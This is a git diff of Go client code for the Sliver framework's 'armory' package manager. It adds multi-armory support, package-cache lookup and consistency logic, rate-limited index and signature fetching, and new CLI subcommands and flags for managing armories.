|
||||
}
|
||||
}
|
||||
|
||||
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
func countUniqueCommandsFromManifests(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest) (int, int) {
|
||||
uniqueAliasNames := []string{}
|
||||
uniqueExtensionNames := []string{}
|
||||
|
||||
for _, alias := range aliases {
|
||||
if !slices.Contains(uniqueAliasNames, alias.CommandName) {
|
||||
uniqueAliasNames = append(uniqueAliasNames, alias.CommandName)
|
||||
}
|
||||
}
|
||||
|
||||
for _, ext := range exts {
|
||||
for _, cmd := range ext.ExtCommand {
|
||||
if !slices.Contains(uniqueExtensionNames, cmd.CommandName) {
|
||||
uniqueExtensionNames = append(uniqueExtensionNames, cmd.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return len(uniqueAliasNames), len(uniqueExtensionNames)
|
||||
}
|
||||
|
||||
func packageManifestsInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
@@ -191,6 +250,125 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest)
|
||||
return aliases, exts
|
||||
}
|
||||
|
||||
func armoryLookupByName(name string) *assets.ArmoryConfig {
|
||||
var result *assets.ArmoryConfig
|
||||
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
indexEntry, ok := value.(indexCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if indexEntry.ArmoryConfig.Name == name {
|
||||
result = indexEntry.ArmoryConfig
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the packages in the cache with a given name
|
||||
func packageCacheLookupByName(name string) []*pkgCacheEntry {
|
||||
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.Pkg.Name == name {
|
||||
result = append(result, &cacheEntry)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the packages in the cache for a given command name
|
||||
func packageCacheLookupByCmd(commandName string) []*pkgCacheEntry {
|
||||
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.Pkg.CommandName == commandName {
|
||||
result = append(result, &cacheEntry)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the package in the cache for a given command name and armory
|
||||
func packageCacheLookupByCmdAndArmory(commandName string, armoryPublicKey string) *pkgCacheEntry {
|
||||
var result *pkgCacheEntry
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey && cacheEntry.Pkg.CommandName == commandName {
|
||||
result = &cacheEntry
|
||||
// Stop iterating
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the package hashes in the cache for a given armory
|
||||
func packageHashLookupByArmory(armoryPublicKey string) []string {
|
||||
result := []string{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey {
|
||||
result = append(result, cacheEntry.ID)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func packageCacheLookupByID(packageID string) *pkgCacheEntry {
|
||||
var packageEntry *pkgCacheEntry
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.ID == packageID {
|
||||
packageEntry = &cacheEntry
|
||||
// Stop iterating
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return packageEntry
|
||||
}
|
||||
|
||||
func bundlesInCache() []*ArmoryBundle {
|
||||
bundles := []*ArmoryBundle{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
@@ -207,7 +385,7 @@ func AliasExtensionOrBundleCompleter() carapace.Action {
|
||||
var action carapace.Action
|
||||
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
aliases, exts := packageManifestsInCache()
|
||||
bundles := bundlesInCache()
|
||||
|
||||
for _, aliasPkg := range aliases {
|
||||
@@ -256,6 +434,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
|
||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory",
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
@@ -264,6 +443,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory",
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
@@ -273,10 +453,11 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
|
||||
// Columns start at 1 for some dumb reason
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Number: 1, Mode: table.Asc},
|
||||
{Number: 2, Mode: table.Asc},
|
||||
})
|
||||
|
||||
type pkgInfo struct {
|
||||
ArmoryName string
|
||||
CommandName string
|
||||
Version string
|
||||
Type string
|
||||
@@ -284,8 +465,10 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
URL string
|
||||
}
|
||||
entries := []pkgInfo{}
|
||||
|
||||
for _, aliasPkg := range aliases {
|
||||
entries = append(entries, pkgInfo{
|
||||
ArmoryName: aliasPkg.ArmoryName,
|
||||
CommandName: aliasPkg.CommandName,
|
||||
Version: aliasPkg.Version,
|
||||
Type: "Alias",
|
||||
@@ -296,6 +479,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
for _, extm := range exts {
|
||||
for _, extension := range extm.ExtCommand {
|
||||
entries = append(entries, pkgInfo{
|
||||
ArmoryName: extm.ArmoryName,
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Manifest.Version,
|
||||
Type: "Extension",
|
||||
@@ -315,6 +499,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
}
|
||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
@@ -323,6 +508,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
@@ -340,6 +526,7 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory Name",
|
||||
"Name",
|
||||
"Contains",
|
||||
})
|
||||
@@ -365,6 +552,7 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.ArmoryName,
|
||||
bundle.Name,
|
||||
packages,
|
||||
})
|
||||
@@ -402,12 +590,19 @@ func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
|
||||
|
||||
// fetch armory indexes, only returns indexes that were fetched successfully
|
||||
// errors are still in the cache objects however and can be checked
|
||||
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
func fetchIndexes(clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
wg.Add(1)
|
||||
go fetchIndex(armoryConfig, clientConfig, wg)
|
||||
}
|
||||
// Try to get a max of 10 indexes at a time
|
||||
currentRequests := make(chan struct{}, 10)
|
||||
currentArmories.Range(func(key, value interface{}) bool {
|
||||
armoryEntry := value.(assets.ArmoryConfig)
|
||||
if armoryEntry.Enabled {
|
||||
wg.Add(1)
|
||||
currentRequests <- struct{}{}
|
||||
go fetchIndex(&armoryEntry, currentRequests, clientConfig, wg)
|
||||
}
|
||||
return true
|
||||
})
|
||||
wg.Wait()
|
||||
indexes := []ArmoryIndex{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
@@ -420,13 +615,19 @@ func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPC
|
||||
return indexes
|
||||
}
|
||||
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, requestChannel chan struct{}, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
defer func() {
|
||||
<-requestChannel
|
||||
}()
|
||||
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
|
||||
if ok {
|
||||
cached := cacheEntry.(indexCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
} else if time.Since(cached.Fetched) >= cacheTime {
|
||||
// If an index has gone stale, remove it from the index cache
|
||||
indexCache.Delete(armoryConfig.PublicKey)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -463,40 +664,95 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, index := range indexes {
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
func calculateHashesForIndex(index ArmoryIndex) []string {
|
||||
result := []string{}
|
||||
|
||||
for _, pkg := range index.Aliases {
|
||||
result = append(result, calculatePackageHash(pkg))
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
for _, pkg := range index.Extensions {
|
||||
result = append(result, calculatePackageHash(pkg))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
func makePackageCacheConsistent(index ArmoryIndex) {
|
||||
packagesToRemove := []string{}
|
||||
|
||||
// Get the packages for the armory out of the cache
|
||||
cacheHashesForArmory := packageHashLookupByArmory(index.ArmoryConfig.PublicKey)
|
||||
indexHashesForArmory := calculateHashesForIndex(index)
|
||||
|
||||
if len(cacheHashesForArmory) > len(indexHashesForArmory) {
|
||||
// Then there are packages in the cache that do not exist in the armory
|
||||
if len(indexHashesForArmory) == 0 {
|
||||
packagesToRemove = cacheHashesForArmory
|
||||
} else {
|
||||
for _, packageHash := range indexHashesForArmory {
|
||||
if !slices.Contains(cacheHashesForArmory, packageHash) {
|
||||
packagesToRemove = append(packagesToRemove, packageHash)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// The remaining case of there being packages in the armory that do not exist in the cache
|
||||
// will have to be solved with fetchPackageSignatures, and that function calls this one
|
||||
// after fetching signatures and storing them in the cache, so that case should not apply
|
||||
|
||||
for _, packageHash := range packagesToRemove {
|
||||
pkgCache.Delete(packageHash)
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(index ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
// Be kind to armories and limit concurrent requests to 10
|
||||
// This is an arbritrary number and we may have to tweak it if it causes problems
|
||||
currentRequests := make(chan struct{}, 10)
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
currentRequests <- struct{}{}
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
currentRequests <- struct{}{}
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// If packages were deleted from the index, make sure the cache is consistent
|
||||
makePackageCacheConsistent(index)
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, requestChannel chan struct{}, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
|
||||
defer func() {
|
||||
<-requestChannel
|
||||
}()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.ID)
|
||||
if ok {
|
||||
cached := cacheEntry.(pkgCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
} else if time.Since(cached.Fetched) >= cacheTime {
|
||||
// If a package has gone stale, remove it from the package cache
|
||||
pkgCache.Delete(armoryPkg.ID)
|
||||
}
|
||||
}
|
||||
|
||||
pkgCacheEntry := &pkgCacheEntry{
|
||||
ArmoryConfig: armoryConfig,
|
||||
RepoURL: armoryPkg.RepoURL,
|
||||
ID: armoryPkg.ID,
|
||||
}
|
||||
defer func() {
|
||||
pkgCacheEntry.Fetched = time.Now()
|
||||
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
|
||||
pkgCache.Store(armoryPkg.ID, *pkgCacheEntry)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
@@ -528,19 +784,53 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
|
||||
if armoryPkg != nil {
|
||||
pkgCacheEntry.Pkg = *armoryPkg
|
||||
}
|
||||
if err == nil {
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
pkgCacheEntry.Alias.ArmoryName = armoryConfig.Name
|
||||
pkgCacheEntry.Alias.ArmoryPK = armoryConfig.PublicKey
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
pkgCacheEntry.Extension.ArmoryName = armoryConfig.Name
|
||||
pkgCacheEntry.Extension.ArmoryPK = armoryConfig.PublicKey
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func clearAllCaches() {
|
||||
currentArmories.Range(func(key, value any) bool {
|
||||
currentArmories.Delete(key)
|
||||
return true
|
||||
})
|
||||
indexCache.Range(func(key, value any) bool {
|
||||
indexCache.Delete(key)
|
||||
return true
|
||||
})
|
||||
pkgCache.Range(func(key, value any) bool {
|
||||
pkgCache.Delete(key)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func getArmoryPublicKey(armoryName string) string {
|
||||
// Find PK for the armory name
|
||||
armoryPK := ""
|
||||
currentArmories.Range(func(key, value any) bool {
|
||||
armoryEntry := value.(assets.ArmoryConfig)
|
||||
if armoryEntry.Name == armoryName {
|
||||
armoryPK = armoryEntry.PublicKey
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return armoryPK
|
||||
}
|
||||
@@ -42,6 +42,10 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
ArmoryInstallCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryInstallCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("force", "f", false, "force installation of package, overwriting the package if it exists")
|
||||
f.StringP("armory", "a", "", "name of armory to install package from")
|
||||
})
|
||||
armoryCmd.AddCommand(armoryInstallCmd)
|
||||
flags.NewCompletions(armoryInstallCmd).PositionalCompletion(
|
||||
AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install"),
|
||||
@@ -49,12 +53,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
armoryUpdateCmd := &cobra.Command{
|
||||
Use: consts.UpdateStr,
|
||||
Short: "Update installed an aliases and extensions",
|
||||
Short: "Update installed aliases and extensions",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ArmoryUpdateCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryUpdateCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("armory", "a", "", "name of armory to get updates from")
|
||||
})
|
||||
armoryCmd.AddCommand(armoryUpdateCmd)
|
||||
|
||||
armorySearchCmd := &cobra.Command{
|
||||
@@ -69,5 +76,136 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
armoryCmd.AddCommand(armorySearchCmd)
|
||||
flags.NewCompletions(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression"))
|
||||
|
||||
armoryInfoCmd := &cobra.Command{
|
||||
Use: consts.InfoStr,
|
||||
Short: "View configured armories or details about a specific armory or package",
|
||||
Args: cobra.RangeArgs(0, 1),
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InfoStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ArmoryInfoCommand(cmd, con, args)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armoryInfoCmd)
|
||||
carapace.Gen(armoryInfoCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("armory or package name"),
|
||||
)
|
||||
|
||||
armoryAddCmd := &cobra.Command{
|
||||
Use: consts.AddStr,
|
||||
Short: "Add a new armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.AddStr}),
|
||||
Args: cobra.ExactArgs(1), // the name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AddArmoryCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryAddCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("url", "u", "", "The URL of the armory index (required)")
|
||||
f.StringP("pubkey", "k", "", "The public key for the armory (required)")
|
||||
f.StringP("auth", "a", "", "Authorization details / credentials for the armory")
|
||||
f.StringP("authcmd", "x", "", "Local command to run for authorization to the armory")
|
||||
f.BoolP("no-save", "e", false, "Do not save this armory configuration to disk")
|
||||
})
|
||||
armoryAddCmd.MarkFlagRequired("url")
|
||||
armoryAddCmd.MarkFlagRequired("pubkey")
|
||||
carapace.Gen(armoryAddCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryAddCmd)
|
||||
|
||||
armoryRemoveCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
Short: "Remove an armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RmStr}),
|
||||
Args: cobra.ExactArgs(1), // the name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
RemoveArmoryCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
carapace.Gen(armoryAddCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryRemoveCmd)
|
||||
|
||||
armorySaveCmd := &cobra.Command{
|
||||
Use: consts.SaveStr,
|
||||
Short: "Save the armory configuration to disk",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SaveStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
SaveArmories(con)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armorySaveCmd)
|
||||
|
||||
armoryEnableCmd := &cobra.Command{
|
||||
Use: consts.EnableStr,
|
||||
Short: "Enable an armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.EnableStr}),
|
||||
Args: cobra.ExactArgs(1), // The name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ChangeArmoryEnabledState(cmd, con, args, true)
|
||||
},
|
||||
}
|
||||
carapace.Gen(armoryEnableCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryEnableCmd)
|
||||
|
||||
armoryDisableCmd := &cobra.Command{
|
||||
Use: consts.DisableStr,
|
||||
Short: "Disable an armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.DisableStr}),
|
||||
Args: cobra.ExactArgs(1), // The name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ChangeArmoryEnabledState(cmd, con, args, false)
|
||||
},
|
||||
}
|
||||
carapace.Gen(armoryDisableCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryDisableCmd)
|
||||
|
||||
armoryModifyCmd := &cobra.Command{
|
||||
Use: consts.ModifyStr,
|
||||
Short: "Modify an armory configuration",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ModifyStr}),
|
||||
Args: cobra.ExactArgs(1), // The name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ModifyArmoryCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryModifyCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", "", "new name for the armory")
|
||||
f.StringP("pubkey", "k", "", "new public key for the armory")
|
||||
f.StringP("url", "u", "", "new URL for the armory")
|
||||
f.StringP("auth", "a", "", "new authorization details / credentials for the armory")
|
||||
f.StringP("authcmd", "x", "", "new local command to run for authorization to the armory")
|
||||
f.BoolP("no-save", "e", false, "do not save armory configuration to armory configuration file")
|
||||
})
|
||||
carapace.Gen(armoryModifyCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryModifyCmd)
|
||||
|
||||
armoryRefreshCmd := &cobra.Command{
|
||||
Use: consts.RefreshStr,
|
||||
Short: "Refresh armory indexes",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RefreshStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
RefreshArmories(cmd, con)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armoryRefreshCmd)
|
||||
|
||||
armoryResetCmd := &cobra.Command{
|
||||
Use: consts.ResetStr,
|
||||
Short: "Reset armory configuration",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ResetStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ResetArmoryConfig(cmd, con)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armoryResetCmd)
|
||||
|
||||
return []*cobra.Command{armoryCmd}
|
||||
}
|
||||
@@ -19,122 +19,444 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
// ErrPackageNotFound - The package was not found
|
||||
var ErrPackageNotFound = errors.New("package not found")
|
||||
var ErrPackageAlreadyInstalled = errors.New("package is already installed")
|
||||
|
||||
const (
|
||||
doNotInstallOption = "Do not install this package"
|
||||
doNotInstallPackageName = "do not install"
|
||||
)
|
||||
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var promptToOverwrite bool
|
||||
name := args[0]
|
||||
// name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
forceInstallation, err := cmd.Flags().GetBool("force")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not parse %q flag: %s\n", "force", err)
|
||||
return
|
||||
}
|
||||
if forceInstallation {
|
||||
promptToOverwrite = false
|
||||
} else {
|
||||
promptToOverwrite = true
|
||||
}
|
||||
|
||||
armoryName, err := cmd.Flags().GetString("armory")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Find PK for the armory name
|
||||
armoryPK := getArmoryPublicKey(armoryName)
|
||||
|
||||
// If the armory with the name is not found, print a warning
|
||||
if cmd.Flags().Changed("armory") && armoryPK == "" {
|
||||
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
|
||||
}
|
||||
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
if name == "all" {
|
||||
aliases, extensions := packagesInCache()
|
||||
aliases, extensions := packageManifestsInCache()
|
||||
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
|
||||
confirm := false
|
||||
pluralAliases := "es"
|
||||
if aliasCount == 1 {
|
||||
pluralAliases = ""
|
||||
}
|
||||
pluralExtensions := "s"
|
||||
if extCount == 1 {
|
||||
pluralExtensions = ""
|
||||
}
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
|
||||
len(aliases), len(extensions),
|
||||
Message: fmt.Sprintf("Install %d alias%s and %d extension%s?",
|
||||
aliasCount, pluralAliases, extCount, pluralExtensions,
|
||||
),
|
||||
}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
promptToOverwrite = false
|
||||
}
|
||||
err := installPackageByName(name, clientConfig, con)
|
||||
err = installPackageByName(name, armoryPK, forceInstallation, promptToOverwrite, clientConfig, con)
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if err == ErrPackageNotFound {
|
||||
if errors.Is(err, ErrPackageNotFound) {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, clientConfig, con)
|
||||
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
|
||||
return
|
||||
}
|
||||
}
|
||||
// If we have made it here, then there was not a bundle or package that matched the provided name
|
||||
if armoryPK == "" {
|
||||
con.PrintErrorf("No package or bundle named %q was found\n", name)
|
||||
} else {
|
||||
